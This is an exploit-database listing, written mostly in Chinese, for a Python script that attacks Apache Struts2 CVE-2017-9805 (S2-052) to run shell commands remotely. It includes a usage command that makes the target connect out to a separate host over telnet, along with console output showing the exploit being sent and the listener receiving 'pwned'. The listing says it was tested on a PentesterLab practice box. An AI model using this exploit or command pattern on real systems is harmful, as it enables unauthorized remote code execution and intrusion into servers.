Exploit for -CVE-2017-9805-

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JONGMARTINEZ--CVE-2017-9805-
# 漏洞信息

资源： * https://vulners.com/cve/CVE-2017-9805

# 这是什么？

一个 Python 漏洞利用脚本，能够在托管易受 S2-052 攻击的 Struts2 系统上远程执行 shell 命令。

# 用法

python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234"

root@kitploit:~
    
    
    [*] Apache Struts XStream REST vulnerability - S2-052
    [*] Creating payload ...
    [*] Exploit packet has 2582 bytes.
    [*] Sending exploit packet ...
    [+] Exploit packet has been sent.
    

root@kitploit:~
    
    
    listening on [any] 1234 ...
    connect to [192.168.0.122] from vulnerable.lan [192.168.0.233] 55791
    pwned
    

已在 pentesterlab 的 s2-052 练习靶机上测试。